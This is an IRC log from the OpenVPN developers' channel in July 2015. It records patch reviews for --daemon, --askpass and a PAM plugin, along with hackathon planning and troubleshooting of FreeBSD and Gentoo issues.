13:58 <@cron2_> single --auth-user-pass should be fine, but if renegotiation happens with nocache, it will blow up there 13:58 <@syzzer> that is nice for our users, so fine with me (although combining --daemon with --auth-nocache is sort-of asking for it...) 13:59 <@cron2_> it is, and most likely it never worked :-) but now we have at least a good error message 14:00 <@cron2_> If you used --daemon, you need to use --askpass to make passphrase-protected keys work, and you can not use --auth-nocache. 14:00 <@cron2_> slightly reworded 14:00 <@syzzer> ack 14:00 <@cron2_> ok, sending to list so it's official :) 14:01 <@cron2_> #574 and #576 are the tickets, right? 14:01 <@syzzer> yes 14:01 <@mattock1> ok so Tim said he sent a new set of patches and is testing them right now 14:02 <@mattock1> he suggested reviewing his patches last 14:02 < TimSmall> Yep, just to be on the safe side... Didn't get as much time as I'd like to test them earlier. 14:02 <@syzzer> ok, in that case, let me bring up the hackathon 14:03 <@syzzer> dates are set, but I have an open question regarding food 14:03 <+janjust> ah syzzer, which date? 14:03 <@mattock1> https://community.openvpn.net/openvpn/wiki/DelftHackathon2015 14:03 <@vpnHelper> Title: DelftHackathon2015 – OpenVPN Community (at community.openvpn.net) 14:03 <@syzzer> so, opinions please. do you prefer breakfast at the hotel for ~10 euro, or should I arrange for breakfast at the office (right across the street from the hotel, not much work to arrange for me) 14:04 <@mattock1> syzzer: which hotel do you suggest? 14:04 <@syzzer> or breakfast at IKEA, which is between the hotel and the office :') 14:04 <@cron2_> not IKEA :) 14:05 <@syzzer> http://www.westcordhoteldelft.nl/ 14:05 <@vpnHelper> Title: WestCord Hotels | Officiële Hotel Website (at www.westcordhoteldelft.nl) 14:06 <+janjust> I'll join for the hackathon but won't go for a hotel - it's an hour's drive or so. I wouldn't mind breakfest @ FoxIT however :) 14:06 <@mattock1> syzzer: what kind of breakfast were you thinking of making? 14:06 <@syzzer> or slightly more expensive, slightly worse ratings, but better locate: http://www.hoteldelftcentre.nl/ 14:06 <@vpnHelper> Title: Hampshire Hotel Delft Centre (at www.hoteldelftcentre.nl) 14:07 <@syzzer> mattock1: simple breakfast, bread, yoghurt, etc. 14:07 <@mattock1> sounds good 14:07 <+janjust> I'll throw in freshly squeezed orange juice 14:08 <@syzzer> ok, breakfast at the office I guess :) 14:08 <@syzzer> in that case the WestCord is definitely the best choice, since it is very close to the office 14:08 <@cron2_> what does "better locate(d)" mean? closer to the office, or "nicer place, somewhere $faraway"? 14:08 <@cron2_> that 14:08 <@cron2_> WestCord for me :) 14:09 <@syzzer> better location means 'close to city center, little further away from the office' 14:09 <@cron2_> nah, we have bicycles :) 14:10 <@syzzer> WestCord + break at the office it is 14:10 <@mattock1> does everyone who goes to Netherlands get a bike automatically? 14:10 <@syzzer> *breakfast 14:10 <+janjust> downtown Delft is nice to bike around 14:10 <@syzzer> I'll arrange for bikes 14:10 <@mattock1> great! 14:11 <@syzzer> I'll update the wiki. back to the patches! 14:11 -!- s7r [~s7r@openvpn/user/s7r] has quit [Ping timeout: 246 seconds] 14:11 <@mattock1> which one next? 14:12 <+janjust> can we do the dhcp tftp/wpad patch? did anyone get a chance to look at it? 14:12 <@mattock1> http://thread.gmane.org/gmane.network.openvpn.devel/9864/focus=9908 14:12 <@vpnHelper> Title: Gmane Loom (at thread.gmane.org) 14:13 <+janjust> @syzzer: better make sure you/we have enough stroopwafels that weekend ;) 14:14 <@cron2_> there is another issue with master and --askpass, I'm afraid... 14:14 <@cron2_> Jul 13 21:14:18 blue openvpn[3595]: Options error: --askpass fails with 'stdin': No such file or directory 14:14 <@syzzer> janjust: indeed. fortunately stroopwafels are part of our default office snacks :D 14:15 <@syzzer> uh 14:16 <@cron2_> iirc 2.3 does not have (all?) the file checks, so it might work there... building with your patch right now 14:16 <@cron2_> (I have a profile that has password protected key *and* --auth-user-pass, so is perfect for this :) ) 14:20 <@cron2_> hrhr, 2.3 does not work either 14:21 <@cron2_> seems nobody ever used --askpass... 14:21 <@syzzer> hmm "works for me" ? 14:22 <@cron2_> $ openvpn --dev tun --askpass 14:22 <@cron2_> Options error: --askpass fails with 'stdin': No such file or directory 14:23 <@cron2_> are you running on DOS, where all sort of magic filenames exist? 14:23 <@syzzer> --client + --auth-user-pass + passphrase key + --ask-pass + --daemon: "[Test-Server] Peer Connection Initiated" 14:23 <@cron2_> ah, there we go... 14:23 <@cron2_> --ask-pass vs. --askpass 14:24 <@syzzer> Linux 3.16.0-23-generic #31-Ubuntu 14:24 <@cron2_> mmmh 14:25 <@cron2_> well, that was an obvious IRC typo, I'd say... but if you just run "openvpn --dev tun --askpass", will it prompt, or fail? 14:25 <@syzzer> prompt 14:26 <@cron2_> it's bombing here 14:26 <@cron2_> #ifdef ENABLE_SSL 14:26 <@cron2_> errs |= check_file_access (CHKACC_FILE, options->key_pass_file, R_OK, 14:26 <@cron2_> "--askpass"); 14:26 <@cron2_> #endif /* ENABLE_SSL */ 14:27 <@cron2_> and it *should* have a CHKACC_ACPTSTDIN there 14:27 <+janjust> bombs here as well 14:27 <@syzzer> didn't we fix that before 14:27 <@syzzer> I seem to recall that 14:27 * syzzer looks in local git tree 14:27 * cron2_ wonders what patches syzzer has in his tree :) 14:28 <@syzzer> ah, yes 14:28 * cron2_ is happy to ACK that patch, but hasn't seen it before (or overlooked) 14:28 <@syzzer> "Fix --askpass not allowing for password input via stdin" 14:28 <@syzzer> sorry... 14:29 <@cron2_> haha :) 14:29 <@syzzer> it is actually an old patch (2013) from trac 14:29 <@syzzer> https://community.openvpn.net/openvpn/ticket/248 14:29 <@vpnHelper> Title: #248 (Fix --askpass not allowing for password input via stdin) – OpenVPN Community (at community.openvpn.net) 14:29 <@syzzer> I'll send to the list 14:30 <@syzzer> (I rebased it recently) 14:30 <@cron2_> there is more brokenness here :-( - if I use askpass with CHKACC_ACPTSTDIN and --daemon, and the passphrase is *wrong*, we'll daemonize, and then just loop... 14:31 <@cron2_> but at least "something will be in the log" 14:32 <@cron2_> anyway 14:32 <@cron2_> merging the next one now... (and we sort of disturbed the tftp patch :) ) 14:33 <@syzzer> ah, ok. at least it is on the list now 14:33 <@syzzer> we can also fix the looping later, ofc. 14:33 <+janjust> lol ; if the tftp patch needs rework I'll get onto it later 14:33 <@mattock1> Tim is ready, so we should probably cover his patches now 14:33 <@mattock1> http://thread.gmane.org/gmane.network.openvpn.devel/9892 14:33 <@vpnHelper> Title: Gmane Loom (at thread.gmane.org) 14:34 < TimSmall> OK, these should be the v2 patches BTW - sorry if anyone reviewed the earlier ones... 14:34 <@mattock1> sorry, that's the old patchest 14:34 <@mattock1> http://thread.gmane.org/gmane.network.openvpn.devel/9892/focus=9909 14:34 <@vpnHelper> Title: Gmane Loom (at thread.gmane.org) 14:35 <@syzzer> is dazo present? 14:35 * dazo is here 14:35 <@syzzer> good! 14:35 <@mattock1> (anjust: I hope you meant "needs rework" instead of "if [it] needs rework" :D 14:36 <@mattock1> didn't want to skip the TFTP patch or anything 14:36 <@mattock1> oh hi dazo! 14:36 * dazo forgot about time 14:36 <+janjust> yep mattock1; as far as I was concerned the patch was done 14:36 <+janjust> if it needs rework in order to merge into master then I'll get onto that tomorrow 14:37 <@mattock1> janjust: ok 14:37 <+janjust> hmm I just realize I misread your comment :P 14:37 <+janjust> it needs rework, period :D 14:38 <@mattock1> :) 14:38 <@mattock1> dazo: did you have a look at Tim's patchset? 14:38 * janjust signing off for tonight anyways 14:38 <@dazo> not really, I didn't realise it was a plug-in patch until now 14:38 * dazo glares at it quickly now 14:38 <@mattock1> janjust: bye! 14:39 <+janjust> bye all! 14:39 -!- janjust [~janjust@openvpn/community/support/janjust] has quit [Quit: Leaving] 14:42 <@cron2_> bah, the stdin patch doesn't apply to 2.3 14:42 <@cron2_> (fixed, but anyway, ENABLE_SSL vs. ENABLE_CRYPTO nearby) 14:44 <@dazo> mattock1: that patch-set requires a thorough review, it changes quite a lot of of important code paths for user authentication ... so I'd like to avoid any ugly bugs here 14:44 < TimSmall> dazo: Agreed. v1 had an ugly bug! 14:44 <@syzzer> dazo: but what do you think about the added functionality? 14:45 <@dazo> I think the functionality can be useful .... if I've understood it correctly, it will use the certificate CN as username for PAM auth 14:47 <@cron2_> syzzer: I think there must be more interesting stuff in your tree (which makes my version behave different wrt "crypt init failed" messages) 14:47 < TimSmall> The code sorta allowed that before, but it was poorly documented, and relied on the user to do a pattern match on the prompts which the pam modules make to get username and passwords. 14:47 <@dazo> TimSmall: just a few things I've spotted ... 14:47 <@dazo> - int status = PAM_SUCCESS; 14:47 <@dazo> + int status; 14:48 <@dazo> I do believe it is good coding style to initialize variables to a predictable state, in this case status should probably be a non-success state 14:48 < TimSmall> dazo: status always get overwritten in the code path by pam_start I think, so that was a bit useless (and confusing). 14:48 <@dazo> okay, I've haven't looked on anything else than the patch itself ... so you might be right 14:49 <@syzzer> cron2_: I don't seem to have any other patches related to this in my tree 14:50 < TimSmall> Yep, the code currently declares it with init value PAM_SUCCESS, and then unconditionaly overwrites it with ret value of pam_start, so I thought it best to drop that as confusing misleading. Happy to change that tho'! 14:50 <@dazo> the other thing is that the README is probably a bit too PAM technical for most sysadmins looking into this module ... so referencing pam_start() and pam_conf() should be avoided, unless really explaining how PAM works under the hood on a detailed level 14:51 <@dazo> It's nice to have details .... but in the beginning, it's okay to not presume the sysadmin have deep knowledge of inner PAM functionality 14:51 <@dazo> :) 14:52 < TimSmall> dazo: I did think of that, but at least it lets them check the manual pages. The whole plugin seems a bit of a hack with respect to PAM, so it sort of acts as a headsup to the admin I think. Speaking as an admin myself! 14:53 < TimSmall> Happy to try and reword it a bit tho' (and/or move that into a gorey details section). 14:54 < TimSmall> 90% are going to want the "DEFAULT BEHAVIOUR" functionality anyway... 14:54 <@dazo> Keep the details, but push them further down where you can explain with full details how PAM works under the hood with this plug-in, that's useful for developers 14:54 < TimSmall> OK. 14:54 <@dazo> yeah, but then you have someone who wants your behavior, but then gets lost in the details :) 14:54 <@dazo> Keep it simple, but no simpler ;-) 14:56 <@dazo> I need to spend some hours looking at this far more carefully ... and my brain cells are not ready for this now :) 14:56 < TimSmall> OK. The main thrust of the patch is to make things a bit more standard with respect to PAM - to try and do the right thing by default, and to not rely on pattern-matching human-readable prompt messages unless absolutely necessary (i.e. for as fewer users as possible). 14:57 <@dazo> that is a great goal! Because this pam module isn't pretty in many aspects 14:58 <@dazo> maybe it would be good to have a doc telling how you can add your own PAM service for openvpn ... (do the proper /etc/pam.d/openvpn stuff) ... maybe OpenVPN even this plug-in should do ship this by default even 14:58 < TimSmall> As (I like to think) a reasonably experienced admin (even did some pam dev on Solaris years ago), the current state of the plugin left me scratching my head quite a bit (including the docs). 14:58 <@dazo> (it would make it easier to get FreeIPA integration via sssd/PAM work too ... where you manage who can use OpenVPN via the IPA web admin) 14:59 < TimSmall> That crossed my mind, but thought that was perhaps going outside the remit - happy to do that tho'. 14:59 <@vpnHelper> RSS Update - gitrepo: Fix --askpass not allowing for password input via stdin <https://github.com/OpenVPN/openvpn/commit/4e1e3ba1d8582a1e95dd6f9564e97c99784959a7> || Produce a meaningful error message if --daemon gets in the way of asking for passwords. <https://github.com/OpenVPN/openvpn/commit/079e5b9c13bf81d7afc6f932b5417d2f08f8e64b> || fix regression: query password before becoming daemon <https://github.com/OpenVPN/openvpn/comm 14:59 <@dazo> TimSmall: You are not alone ... and I have probably less PAM experience than you ;-) 14:59 <@cron2_> mattock1: if you have more gems like #248 up your sleeves, let us know :-) - "stupid bug, patch right there in trac, and no activity for 20 months" 15:00 * cron2_ is happy with today's work (and sorry for ignoring Tim and jjk... these three commits plus finding the exact spot plus testing on master and 2.3 took enough time) 15:01 < TimSmall> FWIW, my use case was 2 factor auth using Google Authenticator (without local user accounts on the system in question), and forcing auth against commonname/password pairs (i.e. rejecting user enterd username to tie users to the commonname of the cert that they've been given). 15:01 <@mattock1> cron2: I see I tested #248... :P 15:01 <@dazo> TimSmall: I'm willing to do a proper review, I have another patch-set I do need to get reviewed properly as well (also auth related) ... so I hope I'll be able to get that done before my holiday starts (July 22) 15:02 < TimSmall> OK, so shall I do another spin on the README, and await further comments on the other parts of the patch set? 15:03 < TimSmall> dazo: OK, great thanks. 15:03 <@cron2_> mattock1: indeed :) 15:04 <@dazo> TimSmall: you can wait for my full review, unless you're bored and have nothing else to do :) .... and feel free to hangout here and poke me whenever you feel I've forgotten about you 15:04 <@mattock1> apparently my memory capability is < 20 months 15:05 <@mattock1> so when do we arrange the next meeting? 15:05 <@mattock1> 1 week, 2 week, something else? 15:05 * cron2_ was about to say "poke syzzer and me more often if you see something like this", but we had enough to do anyway 15:05 <@cron2_> 2 weeks, I'd say 15:05 <@syzzer> yes, 2 weeks 15:05 <@mattock1> sounds good to me 15:06 < TimSmall> dazo: OK, well obviously not urgent from my PoV, but would be good to get it finalized whlist it's still in my head (I also have some holidays coming up - probably around the time you get back). 15:06 <@mattock1> I'll note that in meeting summary 15:06 <@dazo> TimSmall: I'll be out completely until end of August, and a bit on-off the following week 15:06 <@dazo> until end of July! 15:06 <@mattock1> if there's nothing else let's call this a day! 15:07 < TimSmall> dazo: Ah, I was thinking that'd be a good holiday... 15:07 <@cron2_> I'm done for the day... 15:07 <@cron2_> now just a bit of router rebooting at work, and then bed... 15:08 <@syzzer> yes, I'm done too 15:10 < TimSmall> OK, thanks all. 15:10 <@cron2_> quite a good meeting ("hacking session" :) ) 15:10 <@syzzer> TimSmall: thank you too! 15:10 <@cron2_> Jul 13 22:10:27: SP: F:DP R:800C.0021.a057.7440 C:0 B:800C.0021.a057.7440 P:8184 A:0 T:14.2.F 15:10 <@cron2_> hmmm, this router's debug message could as well come from openvpn :) 15:10 <@mattock1> bye guys! 15:11 <@syzzer> good night! 15:13 <@cron2_> good night! 15:13 <@mattock1> sending summary now 15:15 <@dazo> mattock1: can you ensure what was not reviewed gets transferred to the next meeting? 15:16 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Read error: Connection reset by peer] 15:16 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 15:16 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 15:21 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 256 seconds] 18:06 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Remote host closed the connection] 18:23 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 18:24 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Remote host closed the connection] 18:25 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 18:27 -!- dazo is now known as dazo_afk --- Day changed Tue Jul 14 2015 00:44 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 00:44 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 02:29 <@syzzer> cron2_: the incompatible pointer type warning reported in #574 is my doing. I'm not entirely sure whether it's me of the compiler who is not reading the C standard correctly, but there's a simple fix that will make both of us happy. I'll send that to the list soon. 02:42 <@cron2_> was that a consequence of the "const" fix in the previous patch? 02:55 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Ping timeout: 248 seconds] 02:58 <@syzzer> nope, that is a consquence of my const-pointer-to-fixed-size-array trick 02:59 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 02:59 <@syzzer> part of the commit where I ripped out the md5 functions 03:03 <@cron2_> oh, so I acked it without checking for new warnings... *selfslap* 03:10 <@syzzer> I compile with --enable-strict, and it seems that clang does *not* complain, but gcc *does*... 03:11 <@cron2_> funny 05:16 -!- dazo_afk is now known as dazo 06:01 <@cron2_> so, which mattock instance is around and awake? 06:50 <@mattock1> this one 07:27 <@cron2_> mattock1: what do you think about making a new round of T-Shirts? "OpenVPN Hackathon 2015" or such? 07:27 <@cron2_> I see that we all brought the previous T-Shirt to both Munich meetings (except d12fk who does not like T-Shirts :) ) 09:33 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn-devel 10:46 <@dazo> cron2_: just a silly question, as IPv6 abbreviations can confuse me .... SLAAC is the same as stateless configuration? And it is often provided through radvd? Where both depend on NDP to make it work? 10:47 <@dazo> (radvd announcing IPv6 prefix and routes to clients configured with SLAAC, that is) 10:56 <@cron2_> dazo: SLAAC = "StateLess Address Auto Config" or such 10:57 <@cron2_> NDP "neighbour discovery protocol", which replaces ARP in IPv6 - there's "arp things" plus "router solicitation / router announcement" messages 10:57 <@cron2_> radvd is the component that sits on the router and sends out RA (Router Advertisement) messages (some specific ICMPv6 types) 10:58 <@cron2_> inside OpenVPN we do nothing at all of this, we just use static address config on interfaces (tun) with no layer2 resolution, so its much easier 10:58 <@cron2_> a, family calling... food... bbl 10:59 <@dazo> yeah, I didn't think of this in an openvpn context ... just trying to better understand the IPv6 terminology better :) 12:09 -!- s7r [~s7r@openvpn/user/s7r] has quit [Ping timeout: 240 seconds] 13:30 -!- Netsplit *.net <-> *.split quits: @d12fk, @mattock1 14:49 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 14:49 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 15:23 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 264 seconds] 15:26 -!- dazo is now known as dazo_afk 16:38 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn-devel 19:38 -!- pitastrudl [~quassel@unaffiliated/pitastrudl] has joined #openvpn-devel 19:38 -!- pitastrudl [~quassel@unaffiliated/pitastrudl] has left #openvpn-devel ["Bye"] 19:56 <@ecrist> cron2_: ping --- Day changed Wed Jul 15 2015 02:13 <@cron2_> ecrist: pong 03:48 -!- dazo_afk is now known as dazo 06:12 <@vpnHelper> RSS Update - tickets: #580: DHCP option ROUTERS gets dropped on packets not targetting the OpenVPN client <https://community.openvpn.net/openvpn/ticket/580> 06:43 <@dazo> had a discussion with the reporter of #580 on #openvpn ... might be just pure lack of understanding how networks really work. Reporter will switch to a routed setup 06:51 -!- luckman212 [~luckman21@unaffiliated/luckman212] has quit [Quit: Bye] 06:53 -!- luckman212 [~luckman21@unaffiliated/luckman212] has joined #openvpn-devel 08:00 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Remote host closed the connection] 08:02 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 09:52 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 09:52 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 13:41 <@dazo> okay ... so maybe OpenVPN's #ifdef hell isn't that bad .... http://geoff.greer.fm/vim/ 13:41 <@vpnHelper> Title: Geoff's site: Vim Hall of WTF (at geoff.greer.fm) 13:44 <@dazo> syzzer: something for your company ... http://www.oscon.com/open-source-2015/public/schedule/detail/41574 13:45 <@dazo> "This is a live demonstration of hacking into the processor embedded in an SD card, effectively turning the device into a potentially covert Raspberry Pi-class computer under your complete control." (Transcend’s WiFi-enabled SD cards) 13:51 <@syzzer> dazo: sounds very cool indeed! 13:51 <@syzzer> looks like there's a smartcard-like processor in there 13:51 <@dazo> yeah 13:52 <@dazo> a CPU with 426BogoMips is a fairly reasonable router 13:53 <@syzzer> well, if it has the right hardware accellerators ;) 13:54 <@dazo> I mean, my old WRT54GL was in the areas around 5-600 BogoMips ... I believe PentiumII CPUs also was in that range 13:54 <@syzzer> ai, in the US and heavy ticket prices. hopefully there will be recordings available afterwards :p 13:57 <@dazo> unfortunately he is not in the speakers list for OSCON in Amsterdam in the autumn 13:57 <@syzzer> yeah, that would have been easier to convince my boss I needed to go there ;) 13:57 <@dazo> :) 14:05 <@syzzer> wow, that move-around-daemon() patch is really chasing me... 15:14 <@dazo> syzzer: not sure now relevant the ENABLE_CLIENT_CR is ... but beware of that one .... that's part of the challenge-response support OpenVPN can provide 15:15 * dazo think we should always have CR support available, avoid having it as a configure feature 15:15 <@syzzer> dazo: is that in reply to the mail from the google guy? or did I accidentally send out a mail already? 15:15 <@syzzer> because I'm now writing a mail about it :p 15:15 <@dazo> that's a comment from me, reading the mail right now 15:16 <@syzzer> it even isn't a configure feature, it's enabled in syshead.h ... 15:16 <@syzzer> so indeed, just remove all the ifdefs and always enable the code 15:16 <@dazo> right, that's what I thought 15:16 <@dazo> I believe James put it in syshead.h as a way to force it out quickly if it broke something 15:16 <@syzzer> I think the google patch has a bug btw 15:17 <@dazo> I haven't seen the context yet, just the patch so hard to see 15:17 <@syzzer> I'm writing a reply now 15:18 * dazo jumps up at the fence with a bag of popcorn :) 15:25 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 264 seconds] 15:26 <@syzzer> hmpf, management interface patches are annoying to test :/ 15:37 <@syzzer> not that hard after all, the interface even has a 'help' command for human interaction! 16:15 <@cron2_> syzzer: another daemon()-issue? 16:15 <@syzzer> yes! 16:15 <@cron2_> oh boy... what is it this time? 16:16 <@syzzer> failure when using the management interface to query passwords 16:16 <@syzzer> since we now query for passwords before setting up the mgmt interface 16:17 <@cron2_> awwww... we broke management-hold, fixed that, broke --auth-user-pass, fixed that, now breaking management... 16:17 * cron2_ wonders (for a moment) if we should just break FreeBSD again... 16:17 <@cron2_> FATAL: --daemon is not supported on your plattform, go away 16:18 <@syzzer> if they just would not have created such a broken AES-NI setup... 16:19 <@syzzer> nah, in the end I think it really is more robust to call daemon() earlier on 16:19 <@syzzer> I wonder how many tickets / mails we would have had if we had just accepted the original patch... 16:20 <@cron2_> more :) 16:20 <@syzzer> yeah, that's for sure 17:06 -!- s7r [~s7r@openvpn/user/s7r] has quit [Remote host closed the connection] 17:06 -!- s7r_q [~s7r@openvpn/user/s7r] has joined #openvpn-devel 17:26 -!- s7r_q is now known as s7r 18:14 -!- s7r [~s7r@openvpn/user/s7r] has quit [Quit: Leaving] 18:49 -!- dazo is now known as dazo_afk --- Day changed Thu Jul 16 2015 01:17 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:17 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 02:25 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 264 seconds] 04:05 -!- dazo_afk is now known as dazo 12:44 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn-devel 13:26 <@cron2_> oh the fun, and the pains... 13:26 <@cron2_> https://vivaldi.net/en-US/blogs/entry/the-poodle-has-friends 13:27 <@vpnHelper> Title: The POODLE has friends - Vivaldi.net - Vivaldi.net blog (at vivaldi.net) 13:55 <@dazo> encryption is too hard to get right ... lets just do it in plain text instead ......... 15:42 -!- dazo is now known as dazo_afk 18:21 -!- reators [~holger@2001:1a80:2000:2:a02a:6a39:de13:e768] has quit [Ping timeout: 246 seconds] 18:21 -!- reators [~holger@2001:1a80:2000:2:6161:c2db:5de1:aa1d] has joined #openvpn-devel --- Day changed Fri Jul 17 2015 00:29 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 00:29 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 00:48 -!- s7r [~s7r@openvpn/user/s7r] has quit [Remote host closed the connection] 00:48 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn-devel 01:53 -!- TimSmall [~tim@ipv6test5.plus.com] has quit [Ping timeout: 265 seconds] 03:14 -!- dazo_afk is now known as dazo 05:22 -!- reators [~holger@2001:1a80:2000:2:6161:c2db:5de1:aa1d] has quit [Remote host closed the connection] 07:00 -!- reators [~holger@2001:1a80:2000:2:2d09:f7a5:59dd:e692] has joined #openvpn-devel 07:07 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 248 seconds] 07:14 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 07:15 -!- mode/#openvpn-devel [+o mattock1] by ChanServ --- Log opened Fri Jul 17 08:43:57 2015 08:43 -!- ecrist [~ecrist@freebsd/contributor/openvpn.ecrist] has joined #openvpn-devel 08:43 -!- Irssi: #openvpn-devel: Total of 20 nicks [8 ops, 0 halfops, 1 voices, 11 normal] 08:43 -!- mode/#openvpn-devel [+o ecrist] by ChanServ 08:43 -!- Irssi: Join to #openvpn-devel was synced in 1 secs 08:44 <@ecrist> ping cron2_ 08:44 <@ecrist> I'm assuming you know that openvpn is broken on the latest freebsd 08:49 <@dazo> ecrist: got more info? 08:49 <@ecrist> working on it 08:49 <@dazo> thx! 08:50 <@ecrist> I saw a mumbling from cron2 a few days ago about freebsd breaking something 08:50 <@ecrist> like an idiot, I upgraded a working system this morning 08:50 <@dazo> like an idiot, we never learn 08:57 <@ecrist> http://pastebin.com/phKbF977 09:00 <@ecrist> I get the same error even if I add a "local <localip>" option 09:01 <@ecrist> where <localip> is an IPv4 address 09:16 <@ecrist> I've even tried some early dev snapshots from March, 2015 or so and it still fails. 09:16 <@ecrist> I'm guessing cron2 was right and FreeBSD is at fault. 09:24 <@dazo> yeah ... but in combo with plai's socket.c updates it seems 09:24 <@dazo> "Could not determine IPv4/IPv6 protocol. Using AF_INET6" 09:24 <@dazo> "TCP/UDP: Socket bind failed on local address [AF_INET6][undef]:161: Permission denied" 09:26 <@dazo> ecrist: have you tried the ::ffff:<IPV4_ADDRESS> syntax to --local? 09:27 <@ecrist> no, but that's a good idea 09:28 <@ecrist> with local 192.168.50.253, it does seem to call AF_INET instead of AF_INET6, but I still get the permission denied on socket bind 09:30 <@ecrist> same error when using that syntax 09:30 <@ecrist> it calls AF_INET6 this time, but same error. 09:30 <@ecrist> and, for the record, I am running this as root. 09:33 <@dazo> sounds like some deeper BSD debugging is needed then 09:35 <@ecrist> yeah. :\ 10:54 <@ecrist> downgrading my box back to 10.0-RELEASEp18 and 2.3.7 works as expected. 11:11 -!- reators [~holger@2001:1a80:2000:2:2d09:f7a5:59dd:e692] has quit [Quit: Leaving.] 13:15 -!- s7r [~s7r@openvpn/user/s7r] has quit [Quit: Leaving] 13:35 <@cron2_> ecrist: if you want to bind to an ipv4 address, use "proto udp4" 13:36 <@cron2_> but that wasn't what we were talking about - *that* was their stupid cryptodev approach to AESNI which broke openvpn's daemon() handling, and syzzer and I are still working on the fallout of the repair patch for that 13:36 <@cron2_> (FreeBSD's approach to OpenSSL engines is "JUST USE CRYPTODEV! ALWAYS! EVEN IF NOT ASKED FOR!" - and that is incompatible with fork()ing and trying to use the same crypto lib in the child) 13:37 <@cron2_> *and* their implementation actually prefers using AESNI in cryptodev before AESNI in userland, which is doubly silly 13:38 <@cron2_> but your pastebin actually looks like "not running as root"... 13:38 <@cron2_> but maybe we broke more, like "change to user nobody before bind()ing"... that would be somewhat stupid 13:39 <@cron2_> syzzer: are you listening? Could this be fallout of the init reordering as well, trying to setuid() before bind() now? 15:35 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 240 seconds] 15:53 <@cron2_> well, ftr - I have no idea what is wrong with ecrist's setup, but --daemon + --user nobody + --local works for me 15:53 <@cron2_> Jul 17 22:52:51 delta7z openvpn[85311]: UID set to nobody 15:53 <@cron2_> Jul 17 22:52:51 delta7z openvpn[85311]: UDPv4 link local (bound): [AF_INET]194.97.144.212:900 15:53 <@cron2_> this is with 2.3.7, --server or --client (+ --bind) config, privileged ports, on FreeBSD (9.3) 15:54 <@cron2_> so it's not something trivial, like "--daemon breaking --user nobody + --bind" 19:49 -!- dazo is now known as dazo_afk 20:27 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Remote host closed the connection] 20:28 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel --- Day changed Sat Jul 18 2015 01:13 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:13 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 09:53 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 264 seconds] 14:49 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Ping timeout: 248 seconds] 14:52 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 16:04 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 16:04 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 16:45 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Ping timeout: 244 seconds] 16:46 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 17:15 <@syzzer> cron2_: I don't think we moved the setuid() around, not any of the networking init 17:15 <@syzzer> *nor 17:16 <@syzzer> but I'm kinda busy this weekend / next week. won't have much time to figure stuff out 18:03 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 265 seconds] --- Day changed Sun Jul 19 2015 03:46 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 03:46 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 04:19 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Ping timeout: 255 seconds] 04:20 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 04:41 -!- djc [~djc@gentoo/developer/djc] has joined #openvpn-devel 04:41 < djc> any hints on https://bugs.gentoo.org/show_bug.cgi?id=554908? 08:05 <@cron2_> syzzer: I tried to produce any sort of errors with --bind, --local and --user nobody and couldn't, so without more detail from ecrist (the log was too short) I'm not going to investigate further either 08:05 <@cron2_> djc: reading... 08:07 <@cron2_> djc: yeah. Bug. trac #574 and #576, I think... we swapped the init order of daemon()izing and initializing crypto, and that broke --daemon with passphrase-protected keys 08:08 <@cron2_> djc: the fix is twofold - you need the last 4 commits in git release/2.3, and then run openvpn with --askpass 08:08 <@cron2_> --askpass tells it to ask for the pass phrase before daemon()izing - which it won't know that it is needed until it's too late 08:09 <@cron2_> apologies for that particular breakage - came somewhat unexpected 08:10 <@cron2_> what you really need is 7bde2e1b19e66af22c26c90e1187a4365c9087fc and 4d093fff305a3054d88ae2c803665cf90d512c7e, the other two are documentation and better error reporting 08:22 < djc> awesome, thanks 